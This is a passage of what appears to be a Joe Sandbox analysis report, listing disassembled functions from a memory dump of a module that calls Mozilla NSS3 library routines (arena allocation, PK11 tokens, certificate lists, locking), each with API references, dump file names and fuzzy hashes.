PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6C741289,?), ref: 6C742DAF

Part of subcall function 6C6FB8F0: PR_CallOnceWithArg.NSS3(6C832178,6C6FBCF0,?), ref: 6C6FB915
Part of subcall function 6C6FB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6C6FB933
Part of subcall function 6C6FB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6C6FB9C8
Part of subcall function 6C6FB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C6FB9E1

Part of subcall function 6C740A50: SECOID_GetAlgorithmTag_Util.NSS3(6C742A90,E8571076,?,6C742A7C,6C7421F1,?,?,?,00000000,00000000,?,?,6C7421DD,00000000), ref: 6C740A66

Part of subcall function 6C743310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6C742D1E,?,?,?,?,00000000,?,?,?,?,?,6C741289), ref: 6C743348

Part of subcall function 6C7406F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6C742E70,00000000), ref: 6C740701

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$AlgorithmAlloc_ErrorK11_Tag_$Item_Tokens$AllocCallFreeOnceWithZfree
String ID:
API String ID: 2288138528-0
Opcode ID: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction ID: f9d89c9c9bdaf43feb3d4baf6fdfb2114bf9e564a2d46d3921eeb0e913c27b63
Opcode Fuzzy Hash: 8546e08e28100fe682e9ef3c81ee26992161300af297bb711fe42b1ebbdd5512
Instruction Fuzzy Hash: B131EAB6900205ABDB009F64EE49F9A3765BF4522DF144130ED199BB91E731E928CBA2

Function 6C6D6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6D6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6D6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6D6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C7F8FE0), ref: 6C6D6CFE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 101ae215116c632a8b9caf55850720891b84bb5e85d14814bf54796b226dca6a
Instruction ID: e856372f644c7baa981bd1382373e45fe529a35a2b2e8488bbb705dcb9f56f9c
Opcode Fuzzy Hash: 101ae215116c632a8b9caf55850720891b84bb5e85d14814bf54796b226dca6a
Instruction Fuzzy Hash: CC317EB1A002169FEB04DF65D895ABFBBF5EB49348F11482DD905D7710EB31E905CBA0

Function 6C7E4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C7E4F5D
free.MOZGLUE(?), ref: 6C7E4F74
free.MOZGLUE(?), ref: 6C7E4F82
GetLastError.KERNEL32 ref: 6C7E4F90

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 29c06e6685c3a9030c9f9f8347196a300902d287cf0c6cb0e9fa0a84770a0858
Instruction ID: b8ec5b69cc82ac53e4775ba36cb335ade5614f8e4e2716d3292661f7369661cc
Opcode Fuzzy Hash: 29c06e6685c3a9030c9f9f8347196a300902d287cf0c6cb0e9fa0a84770a0858
Instruction Fuzzy Hash: 953137B6A002095BEB01CAA9DD85BDBB3B8FF89748F084239E815A7281D734E905C6D1

Function 6C72DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C72DDB1,?,00000000), ref: 6C72DDF4

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C72DDB1,?,00000000), ref: 6C72DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C72DDB1,?,00000000), ref: 6C72DE17

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C72DE80

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 640d8e1d3ddabf790388ffb369b7373e5c4a1e571db463b102c54617a4b586f1
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 5F31D4B1D01B429BE700CF16DA84696F7E8FFB5318B24922AD81C87B01E774F5A4CB90

Function 6C71FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C6F5ADC,?,00000000,00000001,?,?,00000000,?,6C6EBA55,?,?), ref: 6C71FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C71FE5F
PR_Unlock.NSS3(78831D74), ref: 6C71FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C71FED6

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ca90607a64a17125e40002aaf784c55ef04ca6e53571cc802f584b187df46793
Instruction ID: 0be1d474e31dabfa0aae3b548e9b4d517fda2c5e8a295459fdd07c6700277553
Opcode Fuzzy Hash: ca90607a64a17125e40002aaf784c55ef04ca6e53571cc802f584b187df46793
Instruction Fuzzy Hash: 94210131A04615ABDB21AE74DA487AA77B8BF0535CF4C0134DD08A7E42E731E968CBD1

Function 6C723F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C723440: PK11_GetAllTokens.NSS3 ref: 6C723481
Part of subcall function 6C723440: PR_SetError.NSS3(00000000,00000000), ref: 6C7234A3
Part of subcall function 6C723440: TlsGetValue.KERNEL32 ref: 6C72352E
Part of subcall function 6C723440: EnterCriticalSection.KERNEL32(?), ref: 6C723542
Part of subcall function 6C723440: PR_Unlock.NSS3(?), ref: 6C72355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C70E80C,00000000,00000000,?,?,?,?,6C718C5B,-00000001), ref: 6C723FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C70E80C,00000000,00000000,?,?,?,?,6C718C5B,-00000001), ref: 6C723FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C70E80C,00000000,00000000,?,?,?,?,6C718C5B,-00000001), ref: 6C723FFE
PR_SetError.NSS3 ref: 6C72401A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 668eabc6cb7cd3e484d0b9f3dab92ab306fbcbd80d4c76b16eecadcd6041c150
Instruction ID: e7585b5eacd143d079b7889152f567b196a547460dd7d887a4f5467d7da931d3
Opcode Fuzzy Hash: 668eabc6cb7cd3e484d0b9f3dab92ab306fbcbd80d4c76b16eecadcd6041c150
Instruction Fuzzy Hash: 5B318271A047048FD720EF69D68826AFBF0FF88318F01596DD88987B00EB34E885CB91

Function 6C714FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C71B60F,00000000), ref: 6C715003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C71B60F,00000000), ref: 6C71501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C71B60F,00000000), ref: 6C71504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C71B60F,00000000), ref: 6C715064

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 6debac09fd07bfe1583d55edca38da8c7c50a5e4a9ff4e20631bd86b9d330f4c
Instruction ID: 330cc966c4422df1681e18a05e2f5de37b5277947133f5a10809bc721b636d06
Opcode Fuzzy Hash: 6debac09fd07bfe1583d55edca38da8c7c50a5e4a9ff4e20631bd86b9d330f4c
Instruction Fuzzy Hash: 523129B0A056068FDB54EF78D58856ABBF4FF49308F158539D85997B01E730E890CBD1

Function 6C739F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C73A71A,FFFFFFFF,?,?), ref: 6C739FAB

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C73A71A,6C73A71A,00000000), ref: 6C739FD9

Part of subcall function 6C731340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73136A
Part of subcall function 6C731340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73137E
Part of subcall function 6C731340: PL_ArenaGrow.NSS3(?,6C6CF599,?,00000000,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?), ref: 6C7313CF
Part of subcall function 6C731340: PR_Unlock.NSS3(?,?,6C6D895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6CF599,?,00000000), ref: 6C73145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C73A71A,6C73A71A,00000000), ref: 6C73A009
PR_SetError.NSS3(FFFFE013,00000000,6C73A71A,6C73A71A,00000000), ref: 6C73A045

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: d204413882c1712569a6565631f28b3c12212bb30bfdad9c9d1555332682abcf
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 0A21C5B4600226ABFB009F55DD45F66B7A9FB4436CF109238D82D8BB82FB79D414CB90

Function 6C742DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C742E08

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C742E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C742E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C742E95

Part of subcall function 6C731200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6D88A4,00000000,00000000), ref: 6C731228
Part of subcall function 6C731200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C731238
Part of subcall function 6C731200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6D88A4,00000000,00000000), ref: 6C73124B
Part of subcall function 6C731200: PR_CallOnce.NSS3(6C832AA4,6C7312D0,00000000,00000000,00000000,?,6C6D88A4,00000000,00000000), ref: 6C73125D
Part of subcall function 6C731200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C73126F
Part of subcall function 6C731200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C731280
Part of subcall function 6C731200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C73128E
Part of subcall function 6C731200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C73129A
Part of subcall function 6C731200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7312A1

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 2e2e039eb336f35a324f54cb24e38adbe25712fa4984e57e09727172a9e607b6
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: C421D771E003654BE700CF549E4CBAA37686F9130CF119279DD0C9B742F7B2D5A4C292

Function 6C6FACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C6FACC2

Part of subcall function 6C6D2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C6D2F0A
Part of subcall function 6C6D2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6D2F1D

Part of subcall function 6C6D2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C6D0A1B,00000000), ref: 6C6D2AF0
Part of subcall function 6C6D2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6D2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C6FAD5E

Part of subcall function 6C7157D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C6DB41E,00000000,00000000,?,00000000,?,6C6DB41E,00000000,00000000,00000001,?), ref: 6C7157E0
Part of subcall function 6C7157D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C715843

CERT_DestroyCertList.NSS3(?), ref: 6C6FAD36

Part of subcall function 6C6D2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C6D2F65
Part of subcall function 6C6D2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6D2F83

free.MOZGLUE(?), ref: 6C6FAD4F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: b5c583f7f4e124d68df1f820eedd4337bddfa18375c727fae1a37fba52b2cab5
Instruction ID: af305688dfc6362b9188a4a58926fb31121229927b114abedf10b41ac3cb643b
Opcode Fuzzy Hash: b5c583f7f4e124d68df1f820eedd4337bddfa18375c727fae1a37fba52b2cab5
Instruction Fuzzy Hash: 0B21C6B1D002148BEB10DF64D9095EEB7F5EF06208F058068D8557B701F731AE56CBE9

Function 6C723C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C723C9E
EnterCriticalSection.KERNEL32(?), ref: 6C723CAE
PR_Unlock.NSS3(?), ref: 6C723CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C723D02

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ff3093713e33b348f800c0e9ba79000105ad5c193ed0c35b849b587be321d321
Instruction ID: 2767e79b8623240a557cbc9c24b39d8f0df2c3174c3a539e2ad550c33bd0886b
Opcode Fuzzy Hash: ff3093713e33b348f800c0e9ba79000105ad5c193ed0c35b849b587be321d321
Instruction Fuzzy Hash: 83110379A00208AFDB10AF24DD49A9A3778EF09368F158471EC088B712E734ED94CBE1

Function 6C72ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C72F0AD,6C72F150,?,6C72F150,?,?,?), ref: 6C72ECBA

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C72ECD1

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C72ED02

Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C72ED5A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: d2d17898b17d286bd35d3240fe2e076496c3d95b6df1e9340709fbe315241c1f
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: DE21D4B1A007425BE700CF25DA49B52B7E4BFA4309F15C229E81C8B662E774E594C7D0

Function 6C75EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C747FFA,?,6C749767,?,8B7874C0,0000A48E), ref: 6C75EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C747FFA,?,6C749767,?,8B7874C0,0000A48E), ref: 6C75EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C747FFA,?,6C749767,?,8B7874C0,0000A48E), ref: 6C75EE14

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

memcpy.VCRUNTIME140(?,?,6C749767,00000000,00000000,6C747FFA,?,6C749767,?,8B7874C0,0000A48E), ref: 6C75EE33

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
